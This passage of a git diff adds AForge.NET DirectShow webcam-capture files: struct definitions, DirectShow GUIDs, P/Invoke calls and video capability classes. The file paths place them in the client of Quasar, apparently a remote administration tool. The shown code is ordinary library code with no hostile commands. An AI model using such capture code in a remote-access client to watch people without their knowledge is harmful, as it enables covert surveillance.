2 )] + internal struct BitmapInfoHeader + { + /// + /// Specifies the number of bytes required by the structure. + /// + public int Size; + + /// + /// Specifies the width of the bitmap. + /// + public int Width; + + /// + /// Specifies the height of the bitmap, in pixels. + /// + public int Height; + + /// + /// Specifies the number of planes for the target device. This value must be set to 1. + /// + public short Planes; + + /// + /// Specifies the number of bits per pixel. + /// + public short BitCount; + + /// + /// If the bitmap is compressed, this member is a FOURCC the specifies the compression. + /// + public int Compression; + + /// + /// Specifies the size, in bytes, of the image. + /// + public int ImageSize; + + /// + /// Specifies the horizontal resolution, in pixels per meter, of the target device for the bitmap. + /// + public int XPelsPerMeter; + + /// + /// Specifies the vertical resolution, in pixels per meter, of the target device for the bitmap. + /// + public int YPelsPerMeter; + + /// + /// Specifies the number of color indices in the color table that are actually used by the bitmap. + /// + public int ColorsUsed; + + /// + /// Specifies the number of color indices that are considered important for displaying the bitmap. + /// + public int ColorsImportant; + } + + // RECT + + /// + /// The structure defines the coordinates of the upper-left and lower-right corners of a rectangle. + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential )] + internal struct RECT + { + /// + /// Specifies the x-coordinate of the upper-left corner of the rectangle. + /// + public int Left; + + /// + /// Specifies the y-coordinate of the upper-left corner of the rectangle. + /// + public int Top; + + /// + /// Specifies the x-coordinate of the lower-right corner of the rectangle. + /// + public int Right; + + /// + /// Specifies the y-coordinate of the lower-right corner of the rectangle. + /// + public int Bottom; + } + + // CAUUID + + /// + /// The CAUUID structure is a Counted Array of UUID or GUID types. + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential )] + internal struct CAUUID + { + /// + /// Size of the array pointed to by pElems. + /// + public int cElems; + + /// + /// Pointer to an array of UUID values, each of which specifies UUID. + /// + public IntPtr pElems; + + /// + /// Performs manual marshaling of pElems to retrieve an array of Guid objects. + /// + /// + /// A managed representation of pElems. + /// + public Guid[] ToGuidArray( ) + { + Guid[] retval = new Guid[cElems]; + + for ( int i = 0; i < cElems; i++ ) + { + IntPtr ptr = new IntPtr( pElems.ToInt64( ) + i * Marshal.SizeOf( typeof( Guid ) ) ); + retval[i] = (Guid) Marshal.PtrToStructure( ptr, typeof( Guid ) ); + } + + return retval; + } + } + + /// + /// Enumeration of DirectShow event codes. + /// + internal enum DsEvCode + { + None, + Complete = 0x01, // EC_COMPLETE + DeviceLost = 0x1F, // EC_DEVICE_LOST + //(...) not yet interested in other events + } + + [Flags, ComVisible( false )] + internal enum AnalogVideoStandard + { + None = 0x00000000, // This is a digital sensor + NTSC_M = 0x00000001, // 75 IRE Setup + NTSC_M_J = 0x00000002, // Japan, 0 IRE Setup + NTSC_433 = 0x00000004, + PAL_B = 0x00000010, + PAL_D = 0x00000020, + PAL_G = 0x00000040, + PAL_H = 0x00000080, + PAL_I = 0x00000100, + PAL_M = 0x00000200, + PAL_N = 0x00000400, + PAL_60 = 0x00000800, + SECAM_B = 0x00001000, + SECAM_D = 0x00002000, + SECAM_G = 0x00004000, + SECAM_H = 0x00008000, + SECAM_K = 0x00010000, + SECAM_K1 = 0x00020000, + SECAM_L = 0x00040000, + SECAM_L1 = 0x00080000, + PAL_N_COMBO = 0x00100000 // Argentina + } + + [Flags, ComVisible( false )] + internal enum VideoControlFlags + { + FlipHorizontal = 0x0001, + FlipVertical = 0x0002, + ExternalTriggerEnable = 0x0004, + Trigger = 0x0008 + } + + [StructLayout( LayoutKind.Sequential ), ComVisible( false )] + internal class VideoStreamConfigCaps // VIDEO_STREAM_CONFIG_CAPS + { + public Guid Guid; + public AnalogVideoStandard VideoStandard; + public Size InputSize; + public Size MinCroppingSize; + public Size MaxCroppingSize; + public int CropGranularityX; + public int CropGranularityY; + public int CropAlignX; + public int CropAlignY; + public Size MinOutputSize; + public Size MaxOutputSize; + public int OutputGranularityX; + public int OutputGranularityY; + public int StretchTapsX; + public int StretchTapsY; + public int ShrinkTapsX; + public int ShrinkTapsY; + public long MinFrameInterval; + public long MaxFrameInterval; + public int MinBitsPerSecond; + public int MaxBitsPerSecond; + } + + /// + /// Specifies a filter's state or the state of the filter graph. + /// + internal enum FilterState + { + /// + /// Stopped. The filter is not processing data. + /// + State_Stopped, + + /// + /// Paused. The filter is processing data, but not rendering it. + /// + State_Paused, + + /// + /// Running. The filter is processing and rendering data. + /// + State_Running + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/Uuids.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/Uuids.cs new file mode 100755 index 0000000..8dc1874 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/Uuids.cs @@ -0,0 +1,299 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// DirectShow class IDs. + /// + [ComVisible( false )] + static internal class Clsid + { + /// + /// System device enumerator. + /// + /// + /// Equals to CLSID_SystemDeviceEnum. + /// + public static readonly Guid SystemDeviceEnum = + new Guid( 0x62BE5D10, 0x60EB, 0x11D0, 0xBD, 0x3B, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); + + /// + /// Filter graph. + /// + /// + /// Equals to CLSID_FilterGraph. + /// + public static readonly Guid FilterGraph = + new Guid( 0xE436EBB3, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// Sample grabber. + /// + /// + /// Equals to CLSID_SampleGrabber. + /// + public static readonly Guid SampleGrabber = + new Guid( 0xC1F400A0, 0x3F08, 0x11D3, 0x9F, 0x0B, 0x00, 0x60, 0x08, 0x03, 0x9E, 0x37 ); + + /// + /// Capture graph builder. + /// + /// + /// Equals to CLSID_CaptureGraphBuilder2. + /// + public static readonly Guid CaptureGraphBuilder2 = + new Guid( 0xBF87B6E1, 0x8C27, 0x11D0, 0xB3, 0xF0, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 ); + + /// + /// Async reader. + /// + /// + /// Equals to CLSID_AsyncReader. + /// + public static readonly Guid AsyncReader = + new Guid( 0xE436EBB5, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + } + + /// + /// DirectShow format types. + /// + /// + [ComVisible( false )] + static internal class FormatType + { + /// + /// VideoInfo. + /// + /// + /// Equals to FORMAT_VideoInfo. + /// + public static readonly Guid VideoInfo = + new Guid( 0x05589F80, 0xC356, 0x11CE, 0xBF, 0x01, 0x00, 0xAA, 0x00, 0x55, 0x59, 0x5A ); + + /// + /// VideoInfo2. + /// + /// + /// Equals to FORMAT_VideoInfo2. + /// + public static readonly Guid VideoInfo2 = + new Guid( 0xf72A76A0, 0xEB0A, 0x11D0, 0xAC, 0xE4, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA ); + } + + /// + /// DirectShow media types. + /// + /// + [ComVisible( false )] + static internal class MediaType + { + /// + /// Video. + /// + /// + /// Equals to MEDIATYPE_Video. + /// + public static readonly Guid Video = + new Guid( 0x73646976, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// Interleaved. Used by Digital Video (DV). + /// + /// + /// Equals to MEDIATYPE_Interleaved. + /// + public static readonly Guid Interleaved = + new Guid( 0x73766169, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// Audio. + /// + /// + /// Equals to MEDIATYPE_Audio. + /// + public static readonly Guid Audio = + new Guid( 0x73647561, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// Text. + /// + /// + /// Equals to MEDIATYPE_Text. + /// + public static readonly Guid Text = + new Guid( 0x73747874, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// Byte stream with no time stamps. + /// + /// + /// Equals to MEDIATYPE_Stream. + /// + public static readonly Guid Stream = + new Guid( 0xE436EB83, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + } + + /// + /// DirectShow media subtypes. + /// + /// + [ComVisible( false )] + static internal class MediaSubType + { + /// + /// YUY2 (packed 4:2:2). + /// + /// + /// Equals to MEDIASUBTYPE_YUYV. + /// + public static readonly Guid YUYV = + new Guid( 0x56595559, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// IYUV. + /// + /// + /// Equals to MEDIASUBTYPE_IYUV. + /// + public static readonly Guid IYUV = + new Guid( 0x56555949, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// A DV encoding format. (FOURCC 'DVSD') + /// + /// + /// Equals to MEDIASUBTYPE_DVSD. + /// + public static readonly Guid DVSD = + new Guid( 0x44535644, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); + + /// + /// RGB, 1 bit per pixel (bpp), palettized. + /// + /// + /// Equals to MEDIASUBTYPE_RGB1. + /// + public static readonly Guid RGB1 = + new Guid( 0xE436EB78, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB, 4 bpp, palettized. + /// + /// + /// Equals to MEDIASUBTYPE_RGB4. + /// + public static readonly Guid RGB4 = + new Guid( 0xE436EB79, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB, 8 bpp. + /// + /// + /// Equals to MEDIASUBTYPE_RGB8. + /// + public static readonly Guid RGB8 = + new Guid( 0xE436EB7A, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB 565, 16 bpp. + /// + /// + /// Equals to MEDIASUBTYPE_RGB565. + /// + public static readonly Guid RGB565 = + new Guid( 0xE436EB7B, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB 555, 16 bpp. + /// + /// + /// Equals to MEDIASUBTYPE_RGB555. + /// + public static readonly Guid RGB555 = + new Guid( 0xE436EB7C, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB, 24 bpp. + /// + /// + /// Equals to MEDIASUBTYPE_RGB24. + /// + public static readonly Guid RGB24 = + new Guid( 0xE436Eb7D, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB, 32 bpp, no alpha channel. + /// + /// + /// Equals to MEDIASUBTYPE_RGB32. + /// + public static readonly Guid RGB32 = + new Guid( 0xE436EB7E, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// Data from AVI file. + /// + /// + /// Equals to MEDIASUBTYPE_Avi. + /// + public static readonly Guid Avi = + new Guid( 0xE436EB88, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// Advanced Streaming Format (ASF). + /// + /// + /// Equals to MEDIASUBTYPE_Asf. + /// + public static readonly Guid Asf = + new Guid( 0x3DB80F90, 0x9412, 0x11D1, 0xAD, 0xED, 0x00, 0x00, 0xF8, 0x75, 0x4B, 0x99 ); + } + + /// + /// DirectShow pin categories. + /// + /// + [ComVisible( false )] + static internal class PinCategory + { + /// + /// Capture pin. + /// + /// + /// Equals to PIN_CATEGORY_CAPTURE. + /// + public static readonly Guid Capture = + new Guid( 0xFB6C4281, 0x0353, 0x11D1, 0x90, 0x5F, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA ); + + /// + /// Still image pin. + /// + /// + /// Equals to PIN_CATEGORY_STILL. + /// + public static readonly Guid StillImage = + new Guid( 0xFB6C428A, 0x0353, 0x11D1, 0x90, 0x5F, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA ); + } + + // Below GUIDs are used by ICaptureGraphBuilder::FindInterface(). + [ComVisible( false )] + static internal class FindDirection + { + /// Equals to LOOK_UPSTREAM_ONLY. + public static readonly Guid UpstreamOnly = + new Guid( 0xAC798BE0, 0x98E3, 0x11D1, 0xB3, 0xF1, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 ); + + /// Equals to LOOK_DOWNSTREAM_ONLY. + public static readonly Guid DownstreamOnly = + new Guid( 0xAC798BE1, 0x98E3, 0x11D1, 0xB3, 0xF1, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/Win32.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/Win32.cs new file mode 100755 index 0000000..73d2e90 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/Win32.cs @@ -0,0 +1,102 @@ +// AForge Video for Windows Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2007-2011 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + using System.Runtime.InteropServices.ComTypes; + + /// + /// Some Win32 API used internally. + /// + /// + internal static class Win32 + { + /// + /// Supplies a pointer to an implementation of IBindCtx (a bind context object). + /// This object stores information about a particular moniker-binding operation. + /// + /// + /// Reserved for future use; must be zero. + /// Address of IBindCtx* pointer variable that receives the + /// interface pointer to the new bind context object. + /// + /// Returns S_OK on success. + /// + [DllImport( "ole32.dll" )] + public static extern + int CreateBindCtx( int reserved, out IBindCtx ppbc ); + + /// + /// Converts a string into a moniker that identifies the object named by the string. + /// + /// + /// Pointer to the IBindCtx interface on the bind context object to be used in this binding operation. + /// Pointer to a zero-terminated wide character string containing the display name to be parsed. + /// Pointer to the number of characters of szUserName that were consumed. + /// Address of IMoniker* pointer variable that receives the interface pointer + /// to the moniker that was built from szUserName. + /// + /// Returns S_OK on success. + /// + [DllImport( "ole32.dll", CharSet = CharSet.Unicode )] + public static extern + int MkParseDisplayName( IBindCtx pbc, string szUserName, + ref int pchEaten, out IMoniker ppmk ); + + /// + /// Copy a block of memory. + /// + /// + /// Destination pointer. + /// Source pointer. + /// Memory block's length to copy. + /// + /// Return's the value of dst - pointer to destination. + /// + [DllImport( "ntdll.dll", CallingConvention = CallingConvention.Cdecl )] + public static unsafe extern int memcpy( + byte* dst, + byte* src, + int count ); + + /// + /// Invokes a new property frame, that is, a property sheet dialog box. + /// + /// + /// Parent window of property sheet dialog box. + /// Horizontal position for dialog box. + /// Vertical position for dialog box. + /// Dialog box caption. + /// Number of object pointers in ppUnk. + /// Pointer to the objects for property sheet. + /// Number of property pages in lpPageClsID. + /// Array of CLSIDs for each property page. + /// Locale identifier for property sheet locale. + /// Reserved. + /// Reserved. + /// + /// Returns S_OK on success. + /// + [DllImport( "oleaut32.dll" )] + public static extern int OleCreatePropertyFrame( + IntPtr hwndOwner, + int x, + int y, + [MarshalAs( UnmanagedType.LPWStr )] string caption, + int cObjects, + [MarshalAs( UnmanagedType.Interface, ArraySubType = UnmanagedType.IUnknown )] + ref object ppUnk, + int cPages, + IntPtr lpPageClsID, + int lcid, + int dwReserved, + IntPtr lpvReserved ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/PhysicalConnectorType.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/PhysicalConnectorType.cs new file mode 100755 index 0000000..365a7c3 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/PhysicalConnectorType.cs @@ -0,0 +1,123 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2012 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow +{ + /// + /// Specifies the physical type of pin (audio or video). + /// + public enum PhysicalConnectorType + { + /// + /// Default value of connection type. Physically it does not exist, but just either to specify that + /// connection type should not be changed (input) or was not determined (output). + /// + Default = 0, + /// + /// Specifies a tuner pin for video. + /// + VideoTuner = 1, + /// + /// Specifies a composite pin for video. + /// + VideoComposite, + /// + /// Specifies an S-Video (Y/C video) pin. + /// + VideoSVideo, + /// + /// Specifies an RGB pin for video. + /// + VideoRGB, + /// + /// Specifies a YRYBY (Y, R–Y, B–Y) pin for video. + /// + VideoYRYBY, + /// + /// Specifies a serial digital pin for video. + /// + VideoSerialDigital, + /// + /// Specifies a parallel digital pin for video. + /// + VideoParallelDigital, + /// + /// Specifies a SCSI (Small Computer System Interface) pin for video. + /// + VideoSCSI, + /// + /// Specifies an AUX (auxiliary) pin for video. + /// + VideoAUX, + /// + /// Specifies an IEEE 1394 pin for video. + /// + Video1394, + /// + /// Specifies a USB (Universal Serial Bus) pin for video. + /// + VideoUSB, + /// + /// Specifies a video decoder pin. + /// + VideoDecoder, + /// + /// Specifies a video encoder pin. + /// + VideoEncoder, + /// + /// Specifies a SCART (Peritel) pin for video. + /// + VideoSCART, + /// + /// Not used. + /// + VideoBlack, + + /// + /// Specifies a tuner pin for audio. + /// + AudioTuner = 4096, + /// + /// Specifies a line pin for audio. + /// + AudioLine, + /// + /// Specifies a microphone pin. + /// + AudioMic, + /// + /// Specifies an AES/EBU (Audio Engineering Society/European Broadcast Union) digital pin for audio. + /// + AudioAESDigital, + /// + /// Specifies an S/PDIF (Sony/Philips Digital Interface Format) digital pin for audio. + /// + AudioSPDIFDigital, + /// + /// Specifies a SCSI pin for audio. + /// + AudioSCSI, + /// + /// Specifies an AUX pin for audio. + /// + AudioAUX, + /// + /// Specifies an IEEE 1394 pin for audio. + /// + Audio1394, + /// + /// Specifies a USB pin for audio. + /// + AudioUSB, + /// + /// Specifies an audio decoder pin. + /// + AudioDecoder + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Uuids.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Uuids.cs new file mode 100755 index 0000000..3256fed --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Uuids.cs @@ -0,0 +1,55 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow +{ + using System; + using System.Runtime.InteropServices; + + /// + /// DirectShow filter categories. + /// + [ComVisible( false )] + public static class FilterCategory + { + /// + /// Audio input device category. + /// + /// + /// Equals to CLSID_AudioInputDeviceCategory. + /// + public static readonly Guid AudioInputDevice = + new Guid( 0x33D9A762, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); + + /// + /// Video input device category. + /// + /// + /// Equals to CLSID_VideoInputDeviceCategory. + /// + public static readonly Guid VideoInputDevice = + new Guid( 0x860BB310, 0x5D01, 0x11D0, 0xBD, 0x3B, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); + + /// + /// Video compressor category. + /// + /// + /// Equals to CLSID_VideoCompressorCategory. + /// + public static readonly Guid VideoCompressorCategory = + new Guid( 0x33D9A760, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); + + /// + /// Audio compressor category + /// + /// + /// Equals to CLSID_AudioCompressorCategory. + /// + public static readonly Guid AudioCompressorCategory = + new Guid( 0x33D9A761, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/VideoCapabilities.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/VideoCapabilities.cs new file mode 100755 index 0000000..a7c8dd4 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/VideoCapabilities.cs @@ -0,0 +1,245 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow +{ + using System; + using System.Collections.Generic; + using System.Drawing; + using System.Runtime.InteropServices; + + using AForge.Video; + using AForge.Video.DirectShow.Internals; + + /// + /// Capabilities of video device such as frame size and frame rate. + /// + public class VideoCapabilities + { + /// + /// Frame size supported by video device. + /// + public readonly Size FrameSize; + + /// + /// Frame rate supported by video device for corresponding frame size. + /// + /// + /// This field is depricated - should not be used. + /// Its value equals to . + /// + /// + [Obsolete( "No longer supported. Use AverageFrameRate instead." )] + public int FrameRate + { + get { return AverageFrameRate; } + } + + /// + /// Average frame rate of video device for corresponding frame size. + /// + public readonly int AverageFrameRate; + + /// + /// Maximum frame rate of video device for corresponding frame size. + /// + public readonly int MaximumFrameRate; + + /// + /// Number of bits per pixel provided by the camera. + /// + public readonly int BitCount; + + internal VideoCapabilities( ) { } + + // Retrieve capabilities of a video device + static internal VideoCapabilities[] FromStreamConfig( IAMStreamConfig videoStreamConfig ) + { + if ( videoStreamConfig == null ) + throw new ArgumentNullException( "videoStreamConfig" ); + + // ensure this device reports capabilities + int count, size; + int hr = videoStreamConfig.GetNumberOfCapabilities( out count, out size ); + + if ( hr != 0 ) + Marshal.ThrowExceptionForHR( hr ); + + if ( count <= 0 ) + throw new NotSupportedException( "This video device does not report capabilities." ); + + if ( size > Marshal.SizeOf( typeof( VideoStreamConfigCaps ) ) ) + throw new NotSupportedException( "Unable to retrieve video device capabilities. This video device requires a larger VideoStreamConfigCaps structure." ); + + // group capabilities with similar parameters + Dictionary videocapsList = new Dictionary( ); + + for ( int i = 0; i < count; i++ ) + { + try + { + VideoCapabilities vc = new VideoCapabilities( videoStreamConfig, i ); + + uint key = ( ( (uint) vc.FrameSize.Height ) << 32 ) | + ( ( (uint) vc.FrameSize.Width ) << 16 ); + + if ( !videocapsList.ContainsKey( key ) ) + { + videocapsList.Add( key, vc ); + } + else + { + if ( vc.BitCount > videocapsList[key].BitCount ) + { + videocapsList[key] = vc; + } + } + } + catch + { + } + } + + VideoCapabilities[] videocaps = new VideoCapabilities[videocapsList.Count]; + videocapsList.Values.CopyTo( videocaps, 0 ); + + return videocaps; + } + + // Retrieve capabilities of a video device + internal VideoCapabilities( IAMStreamConfig videoStreamConfig, int index ) + { + AMMediaType mediaType = null; + VideoStreamConfigCaps caps = new VideoStreamConfigCaps( ); + + try + { + // retrieve capabilities struct at the specified index + int hr = videoStreamConfig.GetStreamCaps( index, out mediaType, caps ); + + if ( hr != 0 ) + Marshal.ThrowExceptionForHR( hr ); + + if ( mediaType.FormatType == FormatType.VideoInfo ) + { + VideoInfoHeader videoInfo = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) ); + + FrameSize = new Size( videoInfo.BmiHeader.Width, videoInfo.BmiHeader.Height ); + BitCount = videoInfo.BmiHeader.BitCount; + AverageFrameRate = (int) ( 10000000 / videoInfo.AverageTimePerFrame ); + MaximumFrameRate = (int) ( 10000000 / caps.MinFrameInterval ); + } + else if ( mediaType.FormatType == FormatType.VideoInfo2 ) + { + VideoInfoHeader2 videoInfo = (VideoInfoHeader2) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader2 ) ); + + FrameSize = new Size( videoInfo.BmiHeader.Width, videoInfo.BmiHeader.Height ); + BitCount = videoInfo.BmiHeader.BitCount; + AverageFrameRate = (int) ( 10000000 / videoInfo.AverageTimePerFrame ); + MaximumFrameRate = (int) ( 10000000 / caps.MinFrameInterval ); + } + else + { + throw new ApplicationException( "Unsupported format found." ); + } + + // ignore 12 bpp formats for now, since it was noticed they cause issues on Windows 8 + // TODO: proper fix needs to be done so ICaptureGraphBuilder2::RenderStream() does not fail + // on such formats + if ( BitCount <= 12 ) + { + throw new ApplicationException( "Unsupported format found." ); + } + } + finally + { + if ( mediaType != null ) + mediaType.Dispose( ); + } + } + + /// + /// Check if the video capability equals to the specified object. + /// + /// + /// Object to compare with. + /// + /// Returns true if both are equal are equal or false otherwise. + /// + public override bool Equals( object obj ) + { + return Equals( obj as VideoCapabilities ); + } + + /// + /// Check if two video capabilities are equal. + /// + /// + /// Second video capability to compare with. + /// + /// Returns true if both video capabilities are equal or false otherwise. + /// + public bool Equals( VideoCapabilities vc2 ) + { + if ( (object) vc2 == null ) + { + return false; + } + + return ( ( FrameSize == vc2.FrameSize ) && ( BitCount == vc2.BitCount ) ); + } + + /// + /// Get hash code of the object. + /// + /// + /// Returns hash code ot the object + public override int GetHashCode( ) + { + return FrameSize.GetHashCode( ) ^ BitCount; + } + + /// + /// Equality operator. + /// + /// + /// First object to check. + /// Seconds object to check. + /// + /// Return true if both objects are equal or false otherwise. + public static bool operator ==( VideoCapabilities a, VideoCapabilities b ) + { + // if both are null, or both are same instance, return true. + if ( object.ReferenceEquals( a, b ) ) + { + return true; + } + + // if one is null, but not both, return false. + if ( ( (object) a == null ) || ( (object) b == null ) ) + { + return false; + } + + return a.Equals( b ); + } + + /// + /// Inequality operator. + /// + /// + /// First object to check. + /// Seconds object to check. + /// + /// Return true if both objects are not equal or false otherwise. + public static bool operator !=( VideoCapabilities a, VideoCapabilities b ) + { + return !( a == b ); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/VideoCaptureDevice.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/VideoCaptureDevice.cs new file mode 100755 index 0000000..8b76c5a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/VideoCaptureDevice.cs @@ -0,0 +1,1698 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow +{ + using System; + using System.Collections.Generic; + using System.Drawing; + using System.Drawing.Imaging; + using System.Threading; + using System.Runtime.InteropServices; + + using AForge.Video; + using AForge.Video.DirectShow.Internals; + + /// + /// Video source for local video capture device (for example USB webcam). + /// + /// + /// This video source class captures video data from local video capture device, + /// like USB web camera (or internal), frame grabber, capture board - anything which + /// supports DirectShow interface. For devices which has a shutter button or + /// support external software triggering, the class also allows to do snapshots. Both + /// video size and snapshot size can be configured. + /// + /// Sample usage: + /// + /// // enumerate video devices + /// videoDevices = new FilterInfoCollection( FilterCategory.VideoInputDevice ); + /// // create video source + /// VideoCaptureDevice videoSource = new VideoCaptureDevice( videoDevices[0].MonikerString ); + /// // set NewFrame event handler + /// videoSource.NewFrame += new NewFrameEventHandler( video_NewFrame ); + /// // start the video source + /// videoSource.Start( ); + /// // ... + /// // signal to stop when you no longer need capturing + /// videoSource.SignalToStop( ); + /// // ... + /// + /// private void video_NewFrame( object sender, NewFrameEventArgs eventArgs ) + /// { + /// // get new frame + /// Bitmap bitmap = eventArgs.Frame; + /// // process the frame + /// } + /// + /// + /// + public class VideoCaptureDevice : IVideoSource + { + // moniker string of video capture device + private string deviceMoniker; + // received frames count + private int framesReceived; + // recieved byte count + private long bytesReceived; + + // video and snapshot resolutions to set + private VideoCapabilities videoResolution = null; + private VideoCapabilities snapshotResolution = null; + + // provide snapshots or not + private bool provideSnapshots = false; + + private Thread thread = null; + private ManualResetEvent stopEvent = null; + + private VideoCapabilities[] videoCapabilities; + private VideoCapabilities[] snapshotCapabilities; + + private bool needToSetVideoInput = false; + private bool needToSimulateTrigger = false; + private bool needToDisplayPropertyPage = false; + private bool needToDisplayCrossBarPropertyPage = false; + private IntPtr parentWindowForPropertyPage = IntPtr.Zero; + + // video capture source object + private object sourceObject = null; + + // time of starting the DirectX graph + private DateTime startTime = new DateTime( ); + + // dummy object to lock for synchronization + private object sync = new object( ); + + // flag specifying if IAMCrossbar interface is supported by the running graph/source object + private bool? isCrossbarAvailable = null; + + private VideoInput[] crossbarVideoInputs = null; + private VideoInput crossbarVideoInput = VideoInput.Default; + + // cache for video/snapshot capabilities and video inputs + private static Dictionary cacheVideoCapabilities = new Dictionary( ); + private static Dictionary cacheSnapshotCapabilities = new Dictionary( ); + private static Dictionary cacheCrossbarVideoInputs = new Dictionary( ); + + /// + /// Current video input of capture card. + /// + /// + /// The property specifies video input to use for video devices like capture cards + /// (those which provide crossbar configuration). List of available video inputs can be obtained + /// from property. + /// + /// To check if the video device supports crossbar configuration, the + /// method can be used. + /// + /// This property can be set as before running video device, as while running it. + /// + /// By default this property is set to , which means video input + /// will not be set when running video device, but currently configured will be used. After video device + /// is started this property will be updated anyway to tell current video input. + /// + /// + public VideoInput CrossbarVideoInput + { + get { return crossbarVideoInput; } + set + { + needToSetVideoInput = true; + crossbarVideoInput = value; + } + } + + /// + /// Available inputs of the video capture card. + /// + /// + /// The property provides list of video inputs for devices like video capture cards. + /// Such devices usually provide several video inputs, which can be selected using crossbar. + /// If video device represented by the object of this class supports crossbar, then this property + /// will list all video inputs. However if it is a regular USB camera, for example, which does not + /// provide crossbar configuration, the property will provide zero length array. + /// + /// Video input to be used can be selected using . See also + /// method, which provides crossbar configuration dialog. + /// + /// It is recomended not to call this property immediately after method, since + 